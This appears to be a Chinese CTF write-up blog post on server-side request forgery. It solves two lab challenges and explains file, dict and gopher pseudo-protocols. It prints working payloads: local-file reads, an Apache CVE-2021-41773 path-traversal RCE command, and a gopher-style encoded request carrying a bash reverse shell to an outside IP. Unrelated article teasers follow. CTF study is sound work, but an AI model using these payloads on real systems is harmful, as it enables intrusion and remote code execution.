SSRF学习,刷题

news2024/11/24 19:09:48

[HNCTF 2022 WEEK2]ez_ssrf

 给了一个Apache2的界面,翻译一下

 就是一个默认的界面,目录扫描

可以看到flag.php,肯定是不能直接访问得到的,还有index.php,访问这个

 可以看到三个参数data,host,port

还有fsockopen() 函数是 PHP 中用于打开一个网络连接的一种方法。它允许我们通过 TCP/IP 协议与远程服务器通信,发送请求并获取响应。

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

可以想到ssrf,该题就是对ssrf漏洞的引入。

构造

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

输出:R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

host=127.0.0.1,port=80

所以构造:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到flag

SSRF  

服务器请求伪造,是一种由攻击者形成服务器端发起的安全漏洞,本质上属于信息泄露漏洞。

攻击的目标:从外网无法访问的内部系统

形成的原因:大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

比如:从指定url地址获取网页文本内容

加载指定地址的图片,下载

百度识图,给出一串URL就能识别出图片

攻击方式:

SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。 

利用file协议读取本地文件;

对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

攻击运行在内网或本地的应用程序;

 对内网web应用进行指纹识别,识别企业内部的资产信息;

攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击;

本题就是我自己是不能够去访问flag.php页面的,通过利用SSRF漏洞,依靠可以访问的index.php页面,创建了一个本地的服务器,以此用来访问flag.php页面。

file伪协议:从文件系统中获取文件内容

(查找内网主机存活IP)

fie:// 从文件系统中获取文件内容,格式为 file://[文件路径]

file:///etc/passwd  读取文件passwd

file:///etc/hosts 显示当前操作系统网卡的IP

file:///proc/net/arp  显示arp缓存表,寻找内网其他主机。

file:///proc/net/fib trie  显示当前网段路由信息

Dict伪协议:字典服务协议,访问字典资源

(查找内网主机开放端口)

 HTTP伪协议

(目录扫描)ctf中经常用于文件包含

Gopher伪协议

利用范围较广:【GET提交】【POST提交】【redis】【Fastcgi】【sql】

基本格式:URL:gopher://<host>:<port>/<gopher-path>

gopher伪协议默认端口是70端口,注意改端口为80端口(web默认端口)

gopher请求不转发第一个字符,需要加_用来填充(使用下划线填充首位)

练习

[NSSCTF 2nd]MyBox

给了url参数,file伪协议读取目标参数。

构造:?url=file:///etc/passwd

 成功读到配置信息,但是没有什么用,只能够确定可能存在SSRF漏洞

构造:

?url=file:///proc/self/cmdline

/proc/self/cmdline 虚拟文件系统中的一部分。 这个文件包含当前进程的命令行。 通过读取这个文件,你可以获取启动当前进程时使用的命令行参数。

查看是什么环境

 可以看到是python环境,而且有/app/app.py文件

file伪协议读取。

构造:

?url=file:///app/app.py

 分析源代码

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

 它可以处理三种类型的 URL:

file:/// 开头的 URL,表示从本地文件系统中读取文件的内容。

http://localhost/ 开头的 URL,表示将请求转发到本地的 HTTP 服务器。

mybox://127.0.0.1: 开头的 URL,表示将请求发送到本地的 TCP 服务器。

当用户访问 / 路由时,如果没有提供 url 参数,服务器将重定向到 /?url=dosth。否则,服务器将根据 URL 的类型进行处理。

在处理 mybox:// 开头的 URL 时,服务器会创建一个 TCP 连接到指定的端口,并将请求数据发送过去,然后将响应数据返回给客户端。

这里的mybox的方式看着很像gopher

使用该mybox提交一个请求包进行测试

师傅们的小脚本,也可以用手写,但是不如脚本,容易出错

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)

运行结果:

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

对该脚本的分析:

test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束

 xxx.php页面请求的内容,后面的回车,也就是加个换行符是由于在请求里面都这样,可以打开bp看一下,内容都是在下一行。

传参看一下

它是一定访问不到我们的xxx.php页面的,但是由于mybox的原因,它返回了我们的请求信息,包含了该服务器的配置信息,看到Apache/2.4.49

存在路径穿越漏洞(CVE-2021-41773)

Apache HTTP Server 2.4.49 ~ 2.4.50

Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

尝试执行指令

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash

echo;id

/cgi-bin/ 是一个常见的目录,它通常用于存放可以通过网络服务器执行的脚本。CGI(通用网关接口)是一种技术,允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时,服务器将执行该脚本并返回结果给客户端。

在给出的示例中,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径,以反斜杠分隔不同的目录。%2e 是URL编码中表示"…/"的方式,代表上一级目录。因此,该路径尝试在服务器上执行 /bin/bash 这个脚本文件,会返回bash的交互式命令行界面。
                       

curl示例:

curl -v --data "echo;id" 'http://172.17.0.3/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

修改刚才的代码,进行POST传参

import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59

bash -c 'bash -i >& /dev/tcp/自己的IP/监听的端口 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)

得到:

mybox://127.0.0.1:80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A60%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.217.138/8888%25200%253E%25261%2527%250D%250A

传参,nc -lvp 端口号,进行监听,得到flag。(但我自己的反弹shell没有成功)

 

这里进行两次url编码是我们每发一个请求到服务器端时,服务器会给我们进行一次URL解码,我们利用的SSRF漏洞是先向SSRF服务器发送请求,它对我们的请求进行一次URL解码后才会发到目标服务器,目标服务器再进行一次URL解码才会接受到我们想发给它的请求,所以进行两次URL编码。

还有一种非预期解:

访问环境变量:   

?url=file:///proc/1/environ

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1833226.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【网络编程】套接字的多种可选项

可以看出&#xff0c;套接字可选项是分层的。IPPROTOIP层可选项是IP协议相关事项IPPROTO TCP层可选项是TCP协议相关的事项&#xff0c;SOLSOCKET层是套接字相关的通用可选项 getsockopt&&setsockopt #include <sys/socket.h> int getsockopt(int sock, int lev…

第2讲:pixi.js 绘制HelloWorld

基于第0讲和第1讲&#xff0c;我们增添了vite.config.ts文件。并配置了其他的http端口。 此时&#xff0c;我们删除掉没用的东西。 删除 conter.ts、typescript.svg 在main.ts中改成如下内容&#xff1a; import {Application, Text} from pixi.js import ./style.css// 指明…

Aeron:Aeron Agent

Aeron Agent 是一个 Java 代理&#xff0c;用于提供 Aeron、Aeron Archive 和 Aeron Cluster 中发生的运行时低级日志信息。这些日志语句包括从高级管理员事件到大容量数据帧事件。 在调试 Archive 和 Cluster 问题时&#xff0c;Aeron Agent 的日志数据尤其有用。 一、Availab…

github国内加速访问有效方法

这里只介绍实测最有效的一种方法&#xff0c;修改主机的Hosts文件&#xff0c;如果访问github网站慢或者根本无法访问的时候可以采用下面方法进行解决。 1、搜索一个IP查询网站 首先百度搜索选择一个IP查询的网站&#xff0c;这里我用下面这个网站&#xff08;如果该网站失效…

shop APP UI

APP和微信小程序不一样&#xff0c; APP的客户端需要两个(一个安卓&#xff0c;一个苹果IOS); APP的服务端需要&#xff08;管理端后台&#xff0c;接口&#xff09;&#xff1b;

分布式理论与设计 三、分布式一致性协议

1.两阶段提交协议&#xff08;2PC&#xff09; 1&#xff09;两阶段提交协议 两阶段提交协议&#xff0c;简称2PC(2 Prepare Commit)&#xff0c;是比较常用的解决分布式事务问题的方式&#xff0c;要么所有参与进程都提交事务&#xff0c;要么都取消事务&#xff0c;即实现A…

Xlua三方库Android编译出错解决办法

Xlua三方库Android编译出错解决办法 最近听老师的热更教程&#xff0c;讲到xlua编译android平台会报错&#xff0c;也是看了老师的博客&#xff0c;按照方法去解决&#xff0c;然而问题并没有解决。应该是因为代码更新或者版本不一样&#xff0c;在此简单记录一下解决过程。 参…

SpringBoot三层架构

目录 一、传统方式 二、三层架构 三、代码拆分 1、dao层 2、service层 3、control层 四、运行结果 一、传统方式 上述代码存在一定的弊端&#xff0c;在进行软件设计和软件开发中提倡单一责任原则&#xff0c;使代码的可读性更强&#xff0c;复杂性更低&#xff0c;可扩展性…

【Linux硬盘数据读取】WIN10访问linux分区解决方案:ext2fsd

<div id"content_views" class"htmledit_views" style"user-select: auto;"><p>尝试ext2explore、Paragon ExtFS都不好用&#xff0c;强烈安利ext2fsd&#xff0c;可读写&#xff0c;很强大</p> 转自&#xff1a;https://blog…

超高清图像生成新SOTA!清华唐杰教授团队提出Inf-DiT:生成4096图像比UNet节省5倍内存。

清华大学唐杰教授团队最近在生成超高清图像方面的新工作&#xff1a;Inf-DiT&#xff0c;通过提出一种单向块注意力机制&#xff0c;能够在推理过程中自适应调整内存开销并处理全局依赖关系。基于此模块&#xff0c;该模型采用了 DiT 结构进行上采样&#xff0c;并开发了一种能…

JMU 数科 数据库与数据仓库期末总结(4)实验设计题

E-R图 实体-关系图 E-R图的组成要素主要包括&#xff1a; 实体&#xff08;Entity&#xff09;&#xff1a;实体代表现实世界中可相互区别的对象或事物&#xff0c;如顾客、订单、产品等。在图中&#xff0c;实体通常用矩形表示&#xff0c;并在矩形内标注实体的名称。 属性…

Java项目:基于SSM框架实现的汽车养护保养管理系统【ssm+B/S架构+源码+数据库+开题+毕业论文+任务书】

一、项目简介 本项目是一套基于SSM框架实现的汽车养护保养管理系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单、…

VirtualBox 安装UOS统信服务器操作系统

1、准备 1.1安装VirtualBox 由于过程简单&#xff0c;不做赘述&#xff01; 1.2下载UOS服务器版本 下载免费版本即可 服务器与云计算操作系统-统信软件 (uniontech.com)https://uniontech.com/os-serverCloud.html 2、安装 2.1新建虚拟机 2.2选择虚拟机模式&#xff0c;这…

pandas 根据关键词从表格属性进行筛选企业

文章目录 背景实战情况一情况二 背景 最近一段时间在做企业分类的实验&#xff0c;给定一个企业信息表&#xff0c;利用关键词从企业名称和经营范围中筛选相关企业。 情况一&#xff1a;企业名称和经营范围任何一个包含关键词&#xff1b; 情况二&#xff1a;企业名称和经营范…

飞天茅台酒的惊魂五日

“电商百亿补贴修改发货规则”导致黄牛资金压力剧增&#xff0c;资金压力之下部分黄牛择低价甩卖&#xff0c;其他求货的酒行、大酒商则选择观望&#xff0c;价格下行压力最终扩散&#xff0c;造成整个回收市场踩踏&#xff0c;价格急速下跌。 不到半年时间&#xff0c;飞天茅台…

flink1.12.0学习笔记(七)-监控与优化

flink1.12.0学习笔记第 7 篇-监控与优化 7-1-Flink-Metrics 1.Metrics介绍 由于集群运行后很难发现内部的实际状况&#xff0c;跑得慢或快&#xff0c;是否异常等&#xff0c;开发人员无法实时查看所有的 Task 日志&#xff0c;比如作业很大或者有很多作业的情况下&#xff…

【C++进阶学习】第二弹——继承(下)——挖掘继承深处的奥秘

继承&#xff08;上&#xff09;&#xff1a;【C进阶学习】第一弹——继承&#xff08;上&#xff09;——探索代码复用的乐趣-CSDN博客 前言&#xff1a; 在前面我们已经讲了继承的基础知识&#xff0c;让大家了解了一下继承是什么&#xff0c;但那些都不是重点&#xff0c;今…

半监督学习

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 介绍一、Self Training自训练1、介绍2、代码示例3、参数解释 二、Label Propagation&#xff08;标签传播&#xff09;1、介绍2、代码示例3、参数解释 三、Label Spread…

突然挣不到钱了?带货主播大降薪,有人收入“腰斩”!时薪低至20元,“不如街头发小广告”

韭菜都想来割韭菜了&#xff0c;从00后到60后都在直播带货&#xff0c;部分业内人士认为不懂行的商家以及海量素人主播的加入&#xff0c;拉低了行业的平均薪酬。 2024年的电商年中大促接近尾声&#xff0c;电商直播市场再次成为广为关注的焦点。然而&#xff0c;与热闹的“618…

解放代码:识别与消除循环依赖的实战指南

目录 一、对循环依赖的基本认识 &#xff08;一&#xff09;代码中形成循环依赖的说明 &#xff08;二&#xff09;无环依赖的原则 二、识别和消除循环依赖的方法 &#xff08;一&#xff09;使用JDepend识别循环依赖 使用 Maven 集成 JDepend 分析报告识别循环依赖 &a…